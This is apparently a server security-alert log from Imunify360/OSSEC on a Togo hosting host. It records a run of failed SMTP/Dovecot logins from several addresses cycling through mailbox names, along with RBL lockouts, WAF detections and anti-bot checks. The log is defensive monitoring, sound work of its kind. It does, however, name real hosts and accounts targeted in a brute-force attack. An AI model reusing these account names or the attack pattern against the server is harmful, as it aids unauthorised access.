Jun 26 20:43:25 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:43:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:40572: 535 Incorrect authentication data (set_id=flip@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:43:14 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.3
country_id: 690791
description:
Jun 26 20:43:14 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:43:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20910: 535 Incorrect authentication data (set_id=croom@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:44:20 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:44:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57456: 535 Incorrect authentication data (set_id=newtag@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:44:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:48630: 535 Incorrect authentication data (set_id=911@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:44:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:57672: 535 Incorrect authentication data (set_id=assets4@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:44:47 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:44:14 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:44:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53074: 535 Incorrect authentication data (set_id=chat-service2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:44:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:44:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11410: 535 Incorrect authentication data (set_id=911@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:45:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:22052: 535 Incorrect authentication data (set_id=hockey@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:45:21 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:45:30 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:45:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:26696: 535 Incorrect authentication data (set_id=aliali@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:45:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33656: 535 Incorrect authentication data (set_id=seneca@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:45:33 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:45:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55970: 535 Incorrect authentication data (set_id=boffice@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:45:39 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:46:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:2724: 535 Incorrect authentication data (set_id=}rg}ngar@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.46.201
country_id: 6252001
domain: mail.cfmi.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.cfmi.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:46:17 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:46:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37422: 535 Incorrect authentication data (set_id=harmony@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:46:22 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:46:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54760: 535 Incorrect authentication data (set_id=ape@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:46:25 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:46:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3692: 535 Incorrect authentication data (set_id=netgear1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:46:20 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:47:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:47:23 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:47:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:7838: 535 Incorrect authentication data (set_id=sylvester@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:47:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34918: 535 Incorrect authentication data (set_id=club@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:47:28 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:47:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15200: 535 Incorrect authentication data (set_id=listen@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 26 20:47:16 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:47:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39264: 535 Incorrect authentication data (set_id=leola@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:47:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27086: 535 Incorrect authentication data (set_id=listen@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:48:38 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:48:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30306: 535 Incorrect authentication data (set_id=bigdata@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:48:18 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.175.151
country_id: 1880251
description:
43.173.175.151 - - [26/Jun/2026:20:48:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803411&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Ftogo-universite-de-kara-les-elus-locaux-de-kozah-2-et-oti-2-sapproprient-les-odd%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782506929 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/a-la-une/togo-universite-de-kara-les-elus-locaux-de-kozah-2-et-oti-2-sapproprient-les-odd/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.175.151


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:48:44 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:48:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:60580: 535 Incorrect authentication data (set_id=st2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:48:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3368: 535 Incorrect authentication data (set_id=ord@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:48:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:60082: 535 Incorrect authentication data (set_id=ege@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:49:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43458: 535 Incorrect authentication data (set_id=german@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:49:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32218: 535 Incorrect authentication data (set_id=dmitry@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:49:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:64622: 535 Incorrect authentication data (set_id=sitescope@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:49:23 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.141.215
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/1566424464 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:49:13 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 26 20:49:23 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:49:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36206: 535 Incorrect authentication data (set_id=timberlake@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:50:25 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:50:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40600: 535 Incorrect authentication data (set_id=reports@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:50:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64992: 535 Incorrect authentication data (set_id=liuwei@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:51:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:60474: 535 Incorrect authentication data (set_id=shelly@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:50:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47282: 535 Incorrect authentication data (set_id=rabbitmq@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:50:28 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:50:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55584: 535 Incorrect authentication data (set_id=offsite@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:51:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37252: 535 Incorrect authentication data (set_id=study@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:51:37 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.189.118.7
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/708864183 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:51:22 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:51:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36600: 535 Incorrect authentication data (set_id=arc@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:51:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804435&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782507094 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:51:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31698: 535 Incorrect authentication data (set_id=jesslyn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:51:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:57040: 535 Incorrect authentication data (set_id=dozer@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:52:24 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:52:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:33150: 535 Incorrect authentication data (set_id=nmrsun@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:52:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:40240: 535 Incorrect authentication data (set_id=apartments@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:52:22 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:52:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:1704: 535 Incorrect authentication data (set_id=qqq@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:52:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:5294: 535 Incorrect authentication data (set_id=tes@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:53:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42014: 535 Incorrect authentication data (set_id=surgeon@ns5.netmaster.tg)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:53:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 togofarm.tg "https://togofarm.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804435&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782507094" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:53:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9250: 535 Incorrect authentication data (set_id=italy@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:53:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:16456: 535 Incorrect authentication data (set_id=srt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:53:29 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:53:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34622: 535 Incorrect authentication data (set_id=genesis@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.69.28.221
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/education/page/263737184 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [26/Jun/2026:20:53:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804435&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782507094 HTTP/2.0" 404 159 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (iPod; U; CPU iPhone OS 3_0 like Mac OS X; kl-GL) AppleWebKit/533.11.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B119 Safari/6533.11.2" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:53:23 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-26 20:54:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:58982: 535 Incorrect authentication data (set_id=coast@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-26 20:54:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14000: 535 Incorrect authentication data (set_id=alias@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 26 20:54:21 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:54:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:1036: 535 Incorrect authentication data (set_id=davos@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-26 20:54:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:18278: 535 Incorrect authentication data (set_id=davos@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 26 20:54:13 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-26 20:54:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11052: 535 Incorrect authentication data (set_id=md-89@ns5.netmaster.tg)


